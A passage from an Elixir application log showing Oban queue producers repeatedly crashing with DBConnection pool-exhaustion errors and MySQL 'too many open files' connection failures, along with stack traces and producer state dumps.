    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:39:10.243483Z], limit: 10, uuid: "78bb00ba-5bc2-4c11-9889-6d16e2e06160", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:10.243489Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204641>, refresh_timer: #Reference<0.2525715032.1068236804.232416>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:39:10.243990Z], limit: 5, uuid: "3f99e74a-e9e8-4f04-b36b-a1f720eacb4c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:10.243995Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204642>, refresh_timer: #Reference<0.2525715032.1068236804.232433>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:39:10.242802Z], limit: 5, uuid: "27519a9e-c550-4cf4-932f-526470b97895", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:10.242808Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204643>, refresh_timer: #Reference<0.2525715032.1068236804.232415>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:22.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:39:10.245507Z], limit: 20, uuid: "adef37de-f049-4bfc-a905-1ab6788681e7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:10.245513Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204644>, refresh_timer: #Reference<0.2525715032.1121189889.83260>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:22.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:39:10.241748Z], limit: 3, uuid: "b4be9949-3cbc-441d-a44a-5f7eb2732ffb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:10.241754Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204587>, refresh_timer: #Reference<0.2525715032.1077411843.204579>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:24.756000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:24.817000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:25.178000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:25.902000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:27.855000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:28.507000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:31.228000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:32.084000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:39:22.239380Z], limit: 5, uuid: "a7fa98ad-8e5e-4d9f-a0ca-18bc5d1fc40b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:22.239400Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204949>, refresh_timer: #Reference<0.2525715032.1068236804.232489>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:34.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:39:22.239288Z], limit: 10, uuid: "ae32ff4d-2804-4451-b018-84de594ec4d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:22.239295Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204947>, refresh_timer: #Reference<0.2525715032.1068236804.232488>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:34.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:39:22.239477Z], limit: 50, uuid: "e6292854-0d3f-4405-84c7-390760f45140", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:22.239482Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204950>, refresh_timer: #Reference<0.2525715032.1068236804.232491>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:39:22.239730Z], limit: 3, uuid: "f64d0d9b-387e-4762-beaa-44e7cb5f897e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:22.239735Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: 